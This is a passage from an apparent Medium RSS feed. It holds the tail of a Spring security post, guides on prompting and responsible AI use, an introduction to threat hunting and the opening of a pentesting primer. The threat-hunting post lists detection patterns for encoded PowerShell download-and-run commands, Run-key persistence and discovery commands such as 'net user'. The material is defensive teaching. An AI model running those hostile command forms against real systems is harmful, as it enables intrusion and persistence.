execution, names the exact file and line for each finding, and gives the one-line fix: restrict Actuator and put it behind auth, parameterise the SQL, bind a DTO instead of the entity, and never deserialise untrusted input. The same loop, read the source, find the sink, prove it on the lab machine, applies to any Spring codebase you are handed next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BXTtWrwv8I55RyvxQXvL1g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3fca7c2bfd9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Checklist for using AI responsibly]]></title>
            <link>https://medium.com/@alina.moldovan12/checklist-for-using-ai-responsibly-be010666d085?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/be010666d085</guid>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 06:07:11 GMT</pubDate>
            <atom:updated>2026-07-07T06:07:11.746Z</atom:updated>
            <content:encoded><![CDATA[<p>When you use a generative AI tool, you’re in the driver’s seat. The tool provides computational power, but you provide direction, judgment, and critical thinking. Using AI responsibly means being thoughtful and intentional with your prompts to ensure the quality, safety, and accuracy of the outputs.</p><h3>Principles of responsible AI use</h3><p>Applying the following four principles helps you use AI tools both responsibly and effectively.</p><h3>1. Be clear and specific in your prompts</h3><p>Vague or ambiguous prompts can lead to generic outputs. The more specific you are in your instructions, the more you guide the AI tool away from unhelpful assumptions and toward the nuanced output you actually want. Being specific is a key part of using AI responsibly.</p><h3>2. Protect sensitive information</h3><p>This is a crucial responsibility for every AI user. Public AI tools are not the place for personal, confidential, or sensitive data. Before entering any prompt, it’s a good idea to pause and ask yourself: <em>Am I including data in my prompt that someone else might expect me to keep private?</em></p><p>Here are a few practical ways to protect sensitive information when prompting:</p><ul><li>Use placeholders by referring to people, projects, or places with generic names.</li><li>Frame prompts around the task you need done, not the people involved.</li><li>Input only relevant context needed to complete the task, rather than entire documents.</li></ul><p><strong>Tip</strong>: Check out <a href="https://support.google.com/gemini/answer/13278892?hl=en&amp;co=GENIE.Platform%3DAndroid&amp;sjid=16687150541517362456-NA#zippy=%2Cin-the-gemini-mobile-app">how to adjust your privacy settings and manage your conversation history in Gemini</a>.</p><h3>3. Provide high-quality information</h3><p>The quality of an AI tool’s output can reflect the quality of the references you provide. If you give the tool examples or data that are biased, outdated, or contain errors, the tool is likely to reproduce those same flaws in its response.</p><p>You should always try to provide inputs that are as accurate and unbiased as possible. Before using a piece of text or data as an example, ask yourself: <em>Does this information represent a fair and balanced perspective? Is it from a source I trust?</em></p><p>By providing fair and factual inputs, you guide the tool toward creating a more responsible and accurate output.</p><h3>4. Always verify the output</h3><p>No matter how good your prompt is, the final responsibility for the output is yours. You are the essential human-in-the-loop who must be the final judge of accuracy, tone, and appropriateness.</p><p>Here is a simple workflow to apply this principle:</p><ul><li>Review the output to ensure it meets your goals.</li><li>Fact-check any claims or data by cross-referencing the information.</li><li>Revise the content yourself by treating the AI-generated text as a first draft.</li></ul><p>Ultimately, being a responsible AI user means combining the capabilities of the tool with your own critical thinking and judgment. By practicing each of these principles, you do more than just get better outputs — you contribute to a safer and more ethical use of AI.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be010666d085" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Techniques for mastering complex tasks with AI]]></title>
            <link>https://medium.com/@alina.moldovan12/techniques-for-mastering-complex-tasks-with-ai-2fe5b7719b56?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fe5b7719b56</guid>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 11:26:38 GMT</pubDate>
            <atom:updated>2026-07-06T11:26:38.059Z</atom:updated>
            <content:encoded><![CDATA[<p>Fortunately, specialized techniques can help you guide the AI through more complicated work. Two powerful approaches are <strong>chain-of-thought prompting</strong> and <strong>prompt chaining</strong>.</p><h3>Chain-of-thought prompting</h3><p><strong>Chain-of-thought prompting</strong> is a prompting technique that involves requesting an LLM to explain its reasoning process step-by-step, from input to final output. This technique essentially asks the AI to “show its work,” making its response more transparent and structured.</p><p>To use chain-of-thought prompting, simply include key phrases in your prompt, like:</p><ul><li>“Explain your reasoning”</li><li>“Go step by step”</li></ul><p>These additions indicate that the AI needs to trace its thought process, which often leads to more informative and accurate output.</p><h3>Prompt chaining</h3><p>While chain-of-thought prompting focuses on the reasoning <em>within</em> a single prompt, <strong>prompt chaining</strong> helps you tackle large projects by breaking them into a series of smaller, connected steps that are all in the same chat. It works like a factory assembly line: the output from one prompt is used as the input for the next, linking all your tasks together like a chain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q0WJ-IY_Zz19HKrq" /></figure><p>This technique involves three key steps:</p><ol><li><strong>Task analysis</strong>: Start by breaking down your complex task into a series of smaller, logical steps.</li><li><strong>Initial prompting</strong>:<strong> </strong>Craft a focused prompt that asks the AI to complete just the first step.</li><li><strong>Input/output flow</strong>: Use the output from the first prompt as the context for the second prompt. Continue this iterative flow until you complete the task.</li></ol><h3>Combining prompt chaining with chain-of-thought</h3><p>You can combine prompt chaining with chain-of-thought prompting to enhance the quality and accuracy of the problem-solving process at <em>any</em> stage.</p><p>Let’s take a look at an example where we combine chain-of-thought prompting and prompt chaining:</p><p>Imagine you are hosting your next book club meeting and you want suggestions for what book to recommend. You would like to recommend a fantasy novel, but fantasy is not a genre your book club typically reads. The fantasy book you select needs to be engaging without being overwhelming or too complex.</p><p><strong>Prompt 1: </strong><em>I am hosting a book club and would like fantasy book recommendations for people that are new to reading this genre. Suggest a few books that we could use.</em></p><p><strong>Prompt 2 (using prompt chaining and chain-of-thought prompting): </strong><em>From that list, can you suggest which book you would recommend if we are looking for a fast-paced read? </em><strong><em>Explain your reasoning</em></strong><em>.</em></p><p>This iterative process continues until a final book is selected and vetted. By breaking down the complex task with prompt chaining and incorporating chain-of-thought, you can address more difficult problems while ensuring more accurate results.</p><h3>Limitations and best practices</h3><p>While prompt chaining can be a useful technique, it’s important to be aware of potential challenges that can occur — particularly with longer chains.</p><p>AI tools can struggle to remember context from earlier parts of the conversation as the prompt chain grows longer. This can lead to:</p><ul><li>Inconsistent responses</li><li>Overlooking important details from earlier prompts</li><li>Difficulty maintaining the overall objective of the task</li></ul><p>To overcome these challenges and ensure effective prompt chaining, consider the following strategies:</p><ul><li><strong>Use checkpoints</strong>: Periodically ask the AI to provide a brief summary of the overall goal.</li><li><strong>Work on sub-tasks</strong>: Divide very complex tasks into even smaller sub-tasks so that you can treat each as its own shorter chain before moving on to the next.</li><li><strong>Recap and redirect</strong>: If you notice an AI tool is deviating from the original goal, provide a recap of the essential information and redirect it back to the main objective.</li></ul><p>By employing these strategies, you can generate more accurate and relevant output from an AI tool. As with any other prompting technique, prompt chaining relies on finding the right balance between providing necessary context and avoiding information overload.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fe5b7719b56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Hunting: Introduction]]></title>
            <link>https://medium.com/@alina.moldovan12/threat-hunting-introduction-2d4f80858332?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d4f80858332</guid>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Thu, 02 Jul 2026 12:50:14 GMT</pubDate>
            <atom:updated>2026-07-02T12:50:14.679Z</atom:updated>
            <content:encoded><![CDATA[<p>Threat hunting is the systematic, proactive search for malicious activity in your environment that may have evaded detection systems. Unlike incident response, which reacts to confirmed alerts, threat hunters actively seek threats before they cause damage. This skill has become essential in modern cyber security as attackers grow more sophisticated and detection gaps remain inevitable.</p><h3>What is Threat Hunting?</h3><p>Your firewalls, intrusion detection systems, and automated alerts are the cameras, sensors, and alarms. They catch many attacks. But sophisticated attackers use zero-day exploits, modify their tools to evade detection, and operate slowly to avoid triggering alarms. Your automated defenses cannot catch all of them. That is where threat hunters come in. They do not wait for alerts. They proactively search your systems, logs, and networks looking for evidence of malicious activity that your automated defenses missed. They hunt for threats before attackers achieve their objectives.</p><h3>Threat Hunting vs Incident Response</h3><p>Threat hunting and incident response are often confused because they both deal with security threats. However, they serve different purposes. <strong>Incident response is reactive</strong>: an alert fires, analysts investigate, and if malicious activity is confirmed, the incident response team takes action. <strong>Threat hunting is proactive</strong>: an analyst searches for threats without waiting for an alert. Many organizations think incident response and threat hunting are the same thing because both involve investigating suspicious activity. The key difference is the trigger. Incident response is triggered by an alert. Threat hunting is self-initiated by a hunter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jHahSc0-eK_-52wMf9C2iQ.png" /></figure><p>Both are essential. Threat hunting finds threats that detections missed. Incident response contains and removes those threats. The knowledge from incident response improves future detection, which in turn informs future threat hunting. Organizations that excel at security integrate both disciplines. Think of it like building security again: the guards outside catch most intruders (incident response catches most attacks). But the roaming guards inside find the intruders who slipped past external defenses (threat hunters find attacks that automated systems missed).</p><h3>Dwell Time: Why Speed Matters</h3><p>Dwell time is the average number of days an attacker remains undetected in your environment after initial compromise. Industry data from 2024 and 2025 shows typical dwell times of 20 to 30 days, though some advanced attackers maintain presence for months or years. During this time, the attacker performs reconnaissance, steals credentials, moves through your network, and exfiltrates data. Each additional day dramatically increases the potential damage. A breach discovered after 5 days might result in minimal data loss. The same breach discovered after 30 days might involve critical systems compromise and massive data theft.</p><p>Threat hunting reduces dwell time. By proactively searching for threats, organizations can identify and remove attackers in days rather than weeks. This transforms the financial and operational impact of breaches. Shorter dwell time means less damage, faster recovery, and lower remediation costs. Like the security guards discovering an intruder after one hour rather than waiting until they have explored the entire building for days, threat hunters discovering attackers quickly minimizes the damage they can cause.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gJkYCQ9oqNIagxquJsDdhw.png" /></figure><h3>Hunting Approaches</h3><p>Threat hunting is not done using a single approach followed by all companies. Different organizations use different methodologies based on their circumstances, maturity level, available resources, and current threat priorities. A beginner threat hunter might focus on one specific approach. An experienced team might employ multiple approaches simultaneously. The approach chosen depends on what information is available, what question is being asked, and what resources are available</p><p>Threat hunters employ three foundational approaches, which represent the most widely practiced methods in the industry. However, threat hunting continues to evolve, and organizations may develop or discover additional methodologies specific to their environment. As you progress through practical threat hunting, you will see how real-world hunts often blend these approaches or employ variations adapted to specific contexts.</p><h3>Approach 1: Hypothesis-Driven Hunting</h3><p>Hypothesis-driven hunting begins with a question or suspicion. The threat hunter formulates a hypothesis about where a threat might exist or what might have happened, then searches for evidence to prove or disprove it. This approach is valuable when you have specific concerns about a particular user, system, department, or attack scenario.</p><p><strong>When to use:</strong> Hypothesis-driven hunting is efficient when you have specific concerns. It limits the scope of investigation and produces focused results. It is ideal when you have domain knowledge about particular risks in your environment.</p><h3>Approach 2: Intelligence-Driven Hunting</h3><p>Intelligence-driven hunting begins with external threat intelligence. The hunter learns about specific threats affecting their industry or geographic region, then searches their environment for evidence that those threats exist. This approach leverages the work of security researchers, vendors, and the global security community who analyze real breaches and publish findings.</p><p>When threat intelligence about a specific attack group is published, it often includes the MITRE ATT&amp;CK techniques they use. A threat hunter uses this intelligence to guide their hunt. They might search their environment for evidence of the specific techniques mapped to that attack group, knowing exactly what to look for because MITRE provides a standardized language for describing attacks.</p><p><strong>When to use:</strong> Intelligence-driven hunting is highly relevant when published intelligence matches your organization’s threat profile. Industry, geography, and business model all determine whether specific threat intelligence applies to you. It is particularly powerful when you have detailed intelligence from threat feeds, security vendors, or incident reports that document the exact techniques attackers use.</p><h3>Approach 3: Indicator-Driven Hunting</h3><p>Indicator-driven hunting focuses on specific, concrete artifacts called indicators of compromise (IOCs): file hashes, IP addresses, domain names, email addresses, and command-line patterns. These indicators come from threat feeds, previous incidents, malware analysis, or security researchers. The hunter constructs queries to find any matching indicators in their environment.</p><p><strong>When to use:</strong> Indicator-driven hunting produces clear, objective results. It scales well when you have large lists of indicators. It is also the most easily automated and can be integrated into continuous detection systems.</p><h3>Selecting Your Approach</h3><p>Experienced threat hunters choose their approach strategically. If you have a specific concern about a particular asset or user, hypothesis-driven hunting is appropriate. If you have received threat intelligence about threats targeting your industry (especially intelligence mapped to MITRE ATT&amp;CK techniques), intelligence-driven hunting is ideal. If you have obtained indicators from a trusted source, indicator-driven hunting is efficient. Many organizations conduct all three types of hunts in parallel, rotating focus based on current priorities and newly available intelligence. The approach you choose depends on what question you are trying to answer and what information is available to guide your hunt.</p><p>Below are examples of some questions in a threat hunter’s mind while performing a hunt:</p><ul><li>Where might the attacker move?</li><li>What systems could they access?</li><li>How might they establish persistence?</li><li>Where could the attacker go from here?</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jku0GFMiOezL1nHCzOiv_g.png" /></figure><h3>Hunting Targets</h3><p>Before a threat hunter begins searching, they must understand what they are hunting for. This task focuses on the WHAT of threat hunting: the types of evidence and artifacts that indicate malicious activity. In the next task, you will learn the HOW: the methods and techniques threat hunters use to find this evidence. It is important to understand this distinction.</p><p>Attackers cannot compromise systems without creating artifacts. They execute commands, create files, establish network connections, modify settings, and interact with applications. A skilled threat hunter understands where these artifacts appear in logs, how to recognize suspicious patterns, and how to distinguish malicious activity from normal operations. Threat hunting targets fall into three main categories.</p><h3>Target 1: Known Malware</h3><p>Threat hunters search for malware they know exists or has been reported in their industry. Malware samples are constantly discovered, analyzed, and cataloged by security researchers worldwide. Public repositories like <a href="https://www.virustotal.com/gui/">VirusTotal</a> and various threat feeds contain file hashes, signatures, and behavioral analysis of known malicious software.</p><p><strong>Challenge:</strong> Malware is constantly evolving. Attackers recompile their malware, add obfuscation, change their infrastructure, and develop variants. A file hash from a sample discovered months ago may not match today’s variant. Additionally, zero-day malware (malicious code never seen before) will not match any known indicators.</p><p><strong>Where to find it:</strong> Threat hunters find known malware indicators in malware repositories, threat intelligence feeds, incident reports, security vendor publications, and information sharing platforms.</p><h3>Target 2: Attack Residues</h3><p>Attack residues are the artifacts attackers leave behind as they execute their attack chain. Even careful attackers cannot avoid leaving evidence. They must execute code to gain access, run commands to explore the environment, access files to steal data, create persistence mechanisms, and establish command-and-control communication.</p><p><strong>Why it matters:</strong> Attack residues are valuable because they are often independent of specific malware. Multiple attack groups using different tools might execute similar commands and leave similar residues. A threat hunter understanding common attack techniques can hunt for these residues even when facing unknown malware or zero-day exploits.</p><p><strong>Common attack residues include:</strong> Unusual process spawning (especially cmd.exe or PowerShell launched from unexpected parents), command-line execution of administrative tools, unexpected network connections to external IPs, file creation in suspicious locations, registry modifications, and unusual privilege escalation attempts.</p><h3>Target 3: Known Vulnerabilities</h3><p>Threat hunters search for evidence that known vulnerabilities have been exploited. When a critical vulnerability is announced, attackers quickly develop exploits. Organizations apply patches as quickly as possible, but in the window between announcement and patching, systems remain vulnerable.</p><p><strong>Why it matters:</strong> Vulnerability exploitation is one of the most common initial access methods for attackers. By hunting for evidence of exploit attempts and successful exploitation, threat hunters can identify compromises within days of exploitation rather than weeks later when other indicators appear.</p><h3>Integrating All Three Targets</h3><p>Comprehensive threat hunting combines all three categories. A single hunt may search for known malware, look for attack residues consistent with that malware’s behavior, and also check for evidence of vulnerability exploitation that might have enabled initial compromise. This layered approach maximizes the likelihood of detecting threats across different stages of an attack.</p><p>Remember: targets are the WHAT of threat hunting. They answer the question: “What types of evidence indicate malicious activity?” In the next task, you will learn the methods and techniques (the HOW): “What tools and approaches do we use to find this evidence?”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0XKjQgG-wkwihJV-Dv952w.png" /></figure><h3>Hunting Techniques</h3><h4>Where Threat Hunters Search: Data Sources</h4><p>Threat hunters search within their organization’s data sources. These include event logs, endpoint detection and response (EDR) tool data, security information and event management (SIEM) systems, network traffic and flow data, DNS logs, web proxy logs, firewall logs, and application logs. However, this list represents only some of the data sources available. The reality is that threat hunters search everywhere because evidence of attacks can appear anywhere. An attacker might leave traces in system registry, application logs, memory, configuration files, temporary directories, backup systems, cloud services, or numerous other locations.</p><p>The specific data sources available depend on your organization’s infrastructure, the tools you have deployed, and what you are able to collect and retain. Some organizations have comprehensive logging across all systems. Others have limited visibility. Mature threat hunting programs continuously work to expand their data collection and visibility. A skilled threat hunter understands that no single data source tells the complete story. They actively correlate evidence across multiple sources, synthesizing logs, network data, and endpoint information together to reveal threats that passive log review alone cannot detect.</p><h4>Method 1: Attack Signatures</h4><p>An attack signature is a pattern that indicates malicious activity. It can be a specific file hash, a command-line pattern, or a behavioral sequence. Threat hunters search for these specific patterns in their data sources.</p><p><strong>What threat hunters search for:</strong></p><ul><li>File hashes matching known malware (hash = abc123def456...)</li><li>Command-line parameters indicating malicious code execution (powershell.exe with -EncodedCommand and DownloadString parameters together)</li><li>Process names spawned from unusual parents (cmd.exe spawning from winword.exe)</li><li>Specific URL patterns in web logs matching known malware delivery sites</li><li>Registry modifications at known persistence locations (HKLM\Software\Microsoft\Windows\CurrentVersion\Run)</li></ul><p><strong>Where it’s used:</strong> EDR tools (searching process execution logs), SIEM systems (searching command-line events, web logs), antivirus logs, firewall logs.</p><p><strong>Connection to frameworks:</strong> Attack signatures often correspond to specific MITRE ATT&amp;CK techniques. The PowerShell parameter signature detects T1059.001 (Command and Scripting Interpreter — PowerShell). Registry persistence signatures detect T1547 (Boot or Logon Autostart Execution). Threat hunters use MITRE ATT&amp;CK to understand exactly which techniques and behaviors to hunt for.</p><p><strong>Effectiveness:</strong> Signatures work well against known threats but may miss variations or zero-day exploits. They are objective and produce clear results: either the pattern matches or it does not.</p><h3>Method 2: Indicators of Compromise (IOCs)</h3><p>IOCs are specific artifacts left by attackers: file hashes, IP addresses, domain names, email addresses, URLs, and registry keys. Threat hunters load IOC lists into their tools and search for exact matches in their environment.</p><h4><strong>What threat hunters search for:</strong></h4><ul><li>File hashes from threat feeds loaded into EDR or SIEM (does this hash exist anywhere in our logs?)</li><li>IP addresses in firewall/network logs (did any of our systems connect to these C2 server IPs?)</li><li>Domain names in DNS logs (did any system attempt to resolve these malicious domains?)</li><li>Email addresses in email logs (were any users contacted by these attacker accounts?)</li><li>URL paths in web proxy logs (did users visit these malicious URLs?)</li></ul><p><strong>Where it’s used:</strong> SIEM systems (querying against IOC lists), threat intelligence platforms (MISP, Recorded Future), EDR tools (hash matching), firewall logs (IP matching), DNS logs (domain resolution matching).</p><p><strong>Connection to frameworks:</strong> IOCs come from intelligence sources, which often document the MITRE techniques associated with them. A malware hash is associated with the T1204 (User Execution) technique that delivered it. A C2 IP address is associated with T1071 (Application Layer Protocol) command-and-control communication. Threat hunters use MITRE to understand the context and significance of IOCs they find.</p><p><strong>Effectiveness:</strong> IOCs produce clear, objective results. The limitation is that attackers rotate their infrastructure constantly. IOCs become outdated as attackers change IP addresses, domains, and recompile malware. IOC searching is most effective when you have recent, relevant indicators from active attacks.</p><h3>Method 3: Behavioral Pattern Analysis</h3><p>This method looks for sequences of specific events that together indicate malicious activity, even if individual events might appear benign.</p><p><strong>What threat hunters search for:</strong></p><ul><li>Process chains: Word.exe spawns cmd.exe spawns powershell.exe that connects to external IP</li><li>File access patterns: Single user accessing hundreds of files in sensitive directories within minutes</li><li>Lateral movement chains: Remote execution on System A followed by process creation on System B followed by credential access on System B</li><li>Privilege escalation sequences: Normal user process requesting SYSTEM-level permissions followed by sensitive file access</li><li>Data collection patterns: Database query followed by bulk file reads followed by archive creation followed by network transmission</li></ul><p><strong>Where it’s used:</strong> Advanced SIEM systems (with correlation and sequence matching), EDR platforms (process tree analysis), behavioral analysis tools.</p><p><strong>Connection to frameworks:</strong> Attack chains correspond to MITRE ATT&amp;CK technique combinations. A lateral movement chain might show T1021 (Remote Services) followed by T1569 (Process Creation) followed by T1110 (Brute Force). Behavioral patterns detect what attackers must do, regardless of which specific tools they use. Threat hunters use MITRE to understand common attack technique sequences.</p><p><strong>Effectiveness:</strong> Behavioral patterns are powerful because they detect attacks even when specific malware signatures or IOCs are unknown. They focus on the attacker’s required actions rather than their specific tools. The challenge is that false positives can occur: normal administrative actions might match attack patterns. Threat hunters must investigate and confirm whether patterns represent genuine compromise.</p><h3>Method 4: Logical Queries and Anomaly Detection</h3><p>This method uses conditional logic to find suspicious combinations of events that deviate from normal activity in your environment.</p><p><strong>What threat hunters search for:</strong></p><ul><li>Administrator commands executed at 3 AM (abnormal timing)</li><li>SYSTEM account running interactive commands (abnormal user)</li><li>User accessing data directories they never normally access (abnormal behavior)</li><li>Outbound connections from internal systems to unusual ports (abnormal network behavior)</li><li>Password changes for inactive accounts (abnormal account activity)</li><li>Bulk file downloads from archive locations by non-IT users (abnormal volume and source)</li></ul><p><strong>Typical query structure:</strong></p><ul><li>EventCode=4688 where ParentProcessName NOT IN [explorer.exe, cmd.exe] AND User = SYSTEM AND CommandLine IN [whoami, net user, ipconfig]</li><li>EventCode=4663 where TargetUserName NOT IN [IT_team] AND ObjectName LIKE &quot;*\sensitive_data\*&quot; AND count &gt; 50</li><li>Network where SourceIP IN [10.*, 192.168.*] AND DestinationPort NOT IN [80, 443, 53, 22, 21] AND BytesSent &gt; 1000000</li><li>EventCode=4723 where TargetUserName NOT IN [active_users] AND SubjectUserName = Administrator</li></ul><p><strong>Where it’s used:</strong> SIEM systems with powerful query languages (Splunk SPL, ELK/Elasticsearch Query Language, Azure KQL), EDR advanced hunting features, security data lakes.</p><p><strong>Connection to frameworks:</strong> Logical queries can target specific MITRE techniques. Queries detecting T1087 (Account Discovery) search for net user, net group, dsquery commands. Queries detecting T1005 (Data from Local System) search for unusual file access volume. Threat hunters use MITRE ATT&amp;CK to identify which suspicious patterns to write queries for.</p><p><strong>Effectiveness:</strong> Logical queries are customizable to your specific environment. They can detect unknown attacks because they focus on abnormal behavior rather than known indicators. The challenge is building effective queries: they require understanding normal activity in your environment and recognizing what deviations indicate genuine threats.</p><h3>Integrating Methods in Real Hunts</h3><p>Effective threat hunters rarely rely on a single method. A comprehensive hunt typically combines multiple approaches. An intelligence-driven hunt might start by loading IOC lists (file hashes, C2 IPs) into their SIEM, then broaden the search to find behavioral patterns matching known attack groups, and finally write logical queries to identify similar activity from other attackers using comparable techniques. This layered approach maximizes the probability of detecting both known and unknown threats.</p><p>The method you choose depends on what information you have, what question you are trying to answer, and what data sources and tools are available. Different hunting scenarios require different technique combinations. As you progress through practical threat hunting, you will develop judgment about selecting the most effective techniques for each scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fmh0SQEIZLlkjd_8-znp6w.png" /></figure><h3>Practical</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qm2pDH0wHJM0nb6bJKkzUw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d4f80858332" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Prompting best practices]]></title>
            <link>https://medium.com/@alina.moldovan12/prompting-best-practices-ab6ab326144a?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab6ab326144a</guid>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Wed, 24 Jun 2026 06:17:02 GMT</pubDate>
            <atom:updated>2026-06-24T06:17:02.611Z</atom:updated>
            <content:encoded><![CDATA[<p>Prompting is an essential skill for getting the best results out of generative AI.</p><h4>Specify the task</h4><p>The first step towards creating a great prompt is to specify clearly the task, which you want an AI tool to do. Be detailed, and avoid ambiguity, which might result in output that is incorrect or irrelevant.</p><p>When you provide an AI tool with a task, also consider including information about:</p><ul><li><strong>Persona:</strong> What expertise do you want the AI tool to draw from, and who is the audience?</li><li><strong>Format:</strong> How do you want the output to be formatted?</li></ul><h3>Provide necessary context</h3><p>Including detailed context in your prompts can narrow an AI tool’s focus and tailor its output. Contextual information in your prompts might include:</p><ul><li><strong>Reasons </strong>and <strong>objectives </strong>for performing the task</li><li><strong>Rules </strong>or <strong>guidelines </strong>that the output must follow</li><li><strong>Relevant background information </strong>the tool should consider</li></ul><h3>Include references as examples</h3><p>References are examples or resources that illustrate what you want an AI tool to produce. They specify details about your desired output, such as the style, tone, and format. Depending on the AI tool, you can include text, images, audio, or even video as references.</p><p>When including references in your prompts, consider these suggestions:</p><ul><li>Briefly explain how the references relate to the task.</li><li>Use 2–5 high-quality examples that closely align with your needs.</li><li>Include your own work or open-source examples if relevant.</li></ul><h3>Evaluate your output</h3><p>AI tools vary in their training and capabilities. Each tool has unique strengths and limitations, which can influence the quality of their output. After receiving a response from an AI tool, it’s essential to carefully evaluate the quality and effectiveness of the AI-generated content before using it or sharing the output with others.</p><p>When evaluating the output, focus on factors such as:</p><ul><li><strong>Accuracy</strong></li><li><strong>Bias</strong></li><li><strong>Relevancy</strong></li><li><strong>Consistency</strong></li></ul><p>AI-generated content should serve as a starting point, not a final product.</p><h3>Iterate for better results</h3><p>Even well-crafted prompts might not produce ideal results on the first try. This is where iteration comes in — the process of refining your prompt based on the AI’s output. Think of iteration like having a back-and-forth conversation with an AI tool. The process typically goes like this:</p><ul><li>You provide an initial prompt.</li><li>The AI tool responds with an output.</li><li>You evaluate the effectiveness of the AI-generated response.</li><li>You refine your request based on what worked and what didn’t.</li><li>The process repeats until the AI tool produces the desired results.</li></ul><p>Effective prompting is not about getting a perfect result on the first try, but about being willing to continuously improve your approach.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab6ab326144a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dive Into Pentesting]]></title>
            <link>https://medium.com/@alina.moldovan12/dive-into-pentesting-1ca8d8473956?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ca8d8473956</guid>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Fri, 22 May 2026 07:49:25 GMT</pubDate>
            <atom:updated>2026-05-22T07:49:25.151Z</atom:updated>
            <content:encoded><![CDATA[<h4>Learn the basics of penetration testing, from methodology to responsible practice.</h4><h3>What Is Penetration Testing?</h3><p>Penetration testing, or “pentesting”, is an authorized security assessment that is performed on systems, applications, or networks. It is carried out with explicit permission from the system owner within agreed boundaries.</p><p>Penetration testing is important because modern systems are complex and constantly changing. These factors make it difficult for organizations to identify all weaknesses through design and development alone. Well-built systems can also contain weaknesses that could expose them to attacks. A penetration test fills this gap and helps organizations understand how these weaknesses could be abused, which allows them to priorities fixes and reduce risk before the weaknesses can be exploited by attackers.</p><p>Penetration testing is an essential security service for many reasons. It ensures that organizations can priorities remediation efforts based on the level of risk associated with the weaknesses. It helps protect the confidentiality of sensitive customer data such as payment information or personally identifiable information (PII), which ensures compliance with many regulatory frameworks and industry standards such as Payment Card Industry Data Security Standard (<a href="https://www.pcisecuritystandards.org/standards/pci-dss/">PCI-DSS</a>) and General Data Protection Regulation (<a href="https://gdpr-info.eu/">GDPR</a>). Real-world attack scenarios and assessment of the overall security posture of an organization ensures that security controls are effective. This process provides assurance to the leadership, stakeholders, and customers that weaknesses are being addressed proactively.</p><h4>Penetration Testing vs Malicious Hacking</h4><p>While penetration testers and malicious attackers may use similar tools, the way they operate is totally different. The core factors in the table below separate penetration testing from malicious hacking:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jvPZloj7E2pqnktwJtPKgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wX8kdtu3pCzPq1ZJDUDw4Q.png" /></figure><h4>Penetration Testing Focus Areas</h4><p>In a penetration test, coverage is critical in order to fully assess the overall security posture of an organisation. To achieve meaningful coverage, it is important to understand the different areas that a penetration tester looks at. This task will cover areas that are assessed when performing web application and network penetration testing.</p><h4>Web Application Penetration Testing</h4><p>Web application penetration testing focuses on finding gaps and weaknesses in a web application. Testing is commonly performed from a user perspective by interacting with the application’s user interface and its APIs. The goal is to assess how the application handles user input, authentication, authorization, sessions, and data processing. Weaknesses in web applications can have great impact on its users because web applications are usually exposed to the internet.</p><p>The diagram above outlines a simple interaction between a penetration tester and a web application and its components. In a web application penetration test, the application is tested for weaknesses in different areas such as authentication, authorization, session management, input and output validation, and security configuration.</p><ul><li><strong>Authentication</strong>: This area is evaluated for weaknesses in the application’s credential handling, password policy, account lockout mechanisms, multi-factor authentication (MFA) implementation, protection against automated attacks such as brute-force and credential stuffing, password-reset flow and overall authentication-related logics.</li><li><strong>Authorization</strong>: This area is evaluated for weaknesses in the application’s access control mechanism, ensuring users can only access resources and perform actions permitted by their role, and protection against vertical and horizontal privilege escalation attacks.</li><li><strong>Session management</strong>: This area is evaluated for weaknesses in how sessions are created, maintained, and invalidated. This includes session fixation risks, session invalidation after logout, idle timeout enforcement, secure cookie attributes, and protection against cross-site request forgery (CSRF).</li><li><strong>Input and output validation</strong>: This area is evaluated for weaknesses in the application’s data handling controls, including protection against injection attacks, data type validation, and output handling.</li><li><strong>Security configuration</strong>: This area is evaluated for gaps in the server and application configurations, including security headers, error handling behavior, rate-limiting controls, cryptographic configuration, and exposure of unnecessary services or features.</li></ul><h4>Network Penetration Testing</h4><p>Network penetration testing focuses on finding vulnerabilities in the underlying infrastructure that connects systems together. Testing could be performed from an external or an internal user perspective.</p><p>External network penetration testing is performed from an external user perspective with little to no access to information about the externally exposed systems. This type of assessment focuses on external-facing infrastructure such as internet-facing servers, firewalls, VPN gateways, and remote access services. The goal is to evaluate how these systems are exposed and assess the security controls that protect these systems against unauthorized users.</p><p>Internal network penetration testing, on the other hand, is an “assumed breach” scenario where a threat actor already has access to a system in the network. This type of assessment evaluates what an attacker could do next, such as moving between systems, escalating privileges, or accessing sensitive data. The goal is 